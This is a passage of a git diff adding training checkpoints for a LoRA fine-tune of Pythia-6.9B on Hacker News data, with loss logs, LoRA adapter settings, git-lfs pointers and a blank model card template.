+ { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.40740375543808e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..65ca44258bfc1edc0bae4344d84f30d92d6b61c5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d89e5f1ae766102e6363957af7f2e9c0faed77c98ee8ef3db0dd4a011ccf735a +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..48f7f0325d873d2f12aa884ea210957fdad2d188 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:82a0d04abb0f012da3cc39582351abafc196d14c10af2f3ff0b66700c1ac17dd +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d7fc830aabf2c4827b0609ed6e355d0fa80523b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b904f845552beb994fcd34362e728f918c7473ac27288d463195b51c3ed73bff +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..28521d181a67af05811165bf7cec3a0fcb49ae9d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d03bb25f48f188323d4c5dda872d760e309dedbed641397ec2ec756835c29ac5 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..44aef9f52a0734dce313124137e5b21ee764cc8e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json @@ -0,0 +1,543 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.533333333333333, + "eval_steps": 10, + "global_step": 340, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.57126447529984e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + 